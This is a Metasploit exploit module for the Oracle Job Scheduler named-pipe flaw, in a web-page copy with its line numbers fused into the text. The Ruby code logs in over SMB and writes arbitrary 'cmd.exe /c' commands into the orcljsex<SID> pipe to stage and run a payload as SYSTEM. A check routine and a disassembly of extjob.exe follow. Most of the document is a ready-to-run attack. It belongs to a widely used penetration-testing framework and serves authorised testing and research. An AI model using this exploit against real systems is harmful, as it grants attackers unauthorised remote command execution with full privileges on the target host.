Path: blob/master/modules/exploits/windows/oracle/extjob.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle Job Scheduler Named Pipe Command Execution',16'Description' => %q{17This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job18Scheduler is implemented via the component extjob.exe which listens on a named pipe19called "orcljsex<SID>" and execute arbitrary commands received over this channel via20CreateProcess(). In order to connect to the Named Pipe remotely, SMB access is required.21Note that the Job Scheduler is disabled in default installations.22},23'Author' => [24'David Litchfield', # Vulnerability discovery and exploit25'juan vazquez', # Metasploit module26'sinn3r' # Metasploit fu27],28'License' => MSF_LICENSE,29'References' => [30[ 'URL', 'http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221' ],31],32'Payload' => {33'Space' => 2048,34},35'Platform' => 'win',36# This module has been tested on Oracle 10g Release 137# where the Oracle Job Scheduler runs as SYSTEM on Windows38'Targets' => [['Automatic', {}]],39'CmdStagerFlavor' => 'vbs',40'Privileged' => true,41'DisclosureDate' => '2007-01-01',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptString.new('SID', [ true, 'The database sid', 'ORCL'])54]55)56end5758def exploit59if check == Exploit::CheckCode::Vulnerable60print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")61execute_cmdstager({ :linemax => 1500 })62handler63else64print_error "Host does not appear to be vulnerable!"65end66end6768def execute_command(cmd, opts)69connect()70smb_login()71pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")72pipe.write("cmd.exe /q /c #{cmd}")73pipe.close74disconnect75end7677def check78begin79connect()80smb_login()81pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")82pipe.write("cmd.exe /q /c dir")83result = pipe.read() # Exit Code84pipe.close85disconnect86rescue87return Exploit::CheckCode::Safe88end8990if result == "1" # Exit Code should be 191return Exploit::CheckCode::Vulnerable92end9394return Exploit::CheckCode::Safe95end96end9798=begin99How To Test locally:1001. Go to Administrative Tools -> Services -> Set 'OracleJobSchedulerORCL' to automatic, and101then Start the service.1022. Make sure you know your SMBUser and SMBPass1033. Run:104C:\Documents and Settings\juan\PipeList>echo cmd.exe /c calc.exe > \\.\pipe\orcljsexorcl105106Code Analysis of extjob.exe (Oracle 10g Release 1)107=================================================108109From _ServiceStart():110111* Create Named Pipe and store handle on "esi":112113.text:004017EC push offset _pipename114.text:004017F1 lea ecx, [ebp+Name]115.text:004017F7 push offset $SG59611 ; "\\\\.\\pipe\\orcljsex%s"116.text:004017FC push ecx117.text:004017FD jmp short loc_401810118.text:004017FF ; ---------------------------------------------------------------------------119.text:004017FF120.text:004017FF loc_4017FF: ; CODE XREF: _ServiceStart+FAj121.text:004017FF push offset $SG59613122.text:00401804 lea edx, [ebp+Name]123.text:0040180A push offset $SG59614 ; "\\\\.\\pipe\\orcljsex%s"124.text:0040180F push edx ; Dest125.text:00401810126.text:00401810 loc_401810: ; CODE XREF: _ServiceStart+10Dj127.text:00401810 call ds:__imp__sprintf128.text:00401816 add esp, 0Ch129.text:00401819 push edi130.text:0040181A push edi131.text:0040181B push 4132.text:0040181D call _ReportStatusToSCMgr133.text:00401822 add esp, 0Ch134.text:00401825 test eax, eax135.text:00401827 jz loc_4018EC136.text:0040182D mov edi, ds:__imp__CreateNamedPipeA@32 ; CreateNamedPipeA(x,x,x,x,x,x,x,x)137.text:0040185C mov esi, eax138139* Connect Named Pipe140141.text:0040188F push eax ; lpOverlapped142.text:00401890 push esi ; hNamedPipe143.text:00401891 call ds:__imp__ConnectNamedPipe@8 ; ConnectNamedPipe(x,x)144145* Create Thread with ExecMain() as lpStartAddress and esi (The Pipe handle) as parameter146147.text:004018B9 lea edx, [ebp+ThreadId]148.text:004018BC push edx ; lpThreadId149.text:004018BD push 0 ; dwCreationFlags150.text:004018BF push esi ; lpParameter151.text:004018C0 push offset _ExecMain ; lpStartAddress152.text:004018C5 push 0 ; dwStackSize153.text:004018C7 push 0 ; lpThreadAttributes154.text:004018C9 call ds:__imp__CreateThread@24 ; CreateThread(x,x,x,x,x,x)155156From ExecMain():157158* Stores Named Pipe Handle in ebx159160.text:0040197C mov ebx, [ebp+hObject]161162* Read From Named Pipe163164.text:004019C4 lea eax, [ebp+NumberOfBytesRead]165.text:004019C7 push edx ; lpOverlapped166.text:004019C8 push eax ; lpNumberOfBytesRead167.text:004019C9 lea ecx, [ebp+Buffer]168.text:004019CF push 10000h ; nNumberOfBytesToRead169.text:004019D4 push ecx ; lpBuffer170.text:004019D5 push ebx ; hFile171.text:004019D6 call ds:__imp__ReadFile@20 ; ReadFile(x,x,x,x,x)172173* CreateProcess with lpCommandLine full controlled by the user input174175.text:00401A06 mov ecx, 11h176.text:00401A0B xor eax, eax177.text:00401A0D lea edi, [ebp+StartupInfo]178.text:00401A10 push esi179.text:00401A11 rep stosd180.text:00401A13 lea eax, [ebp+ProcessInformation]181.text:00401A16 lea ecx, [ebp+StartupInfo]182.text:00401A19 push eax ; lpProcessInformation183.text:00401A1A push ecx ; lpStartupInfo184.text:00401A1B push 0 ; lpCurrentDirectory185.text:00401A1D push 0 ; lpEnvironment186.text:00401A1F push 0 ; dwCreationFlags187.text:00401A21 push 0 ; bInheritHandles188.text:00401A23 push 0 ; lpThreadAttributes189.text:00401A25 lea edx, [ebp+Buffer]190.text:00401A2B push 0 ; lpProcessAttributes191.text:00401A2D push edx ; lpCommandLine192.text:00401A2E push 0 ; lpApplicationName193.text:00401A30 mov [ebp+StartupInfo.cb], 44h194.text:00401A37 mov [ebp+StartupInfo.wShowWindow], 5195.text:00401A3D mov [ebp+StartupInfo.dwFlags], 100h196.text:00401A44 mov [ebp+StartupInfo.lpDesktop], offset $SG59671197.text:00401A4B call ds:__imp__CreateProcessA@40 ; CreateProcessA(x,x,x,x,x,x,x,x,x,x)198199200=end201202203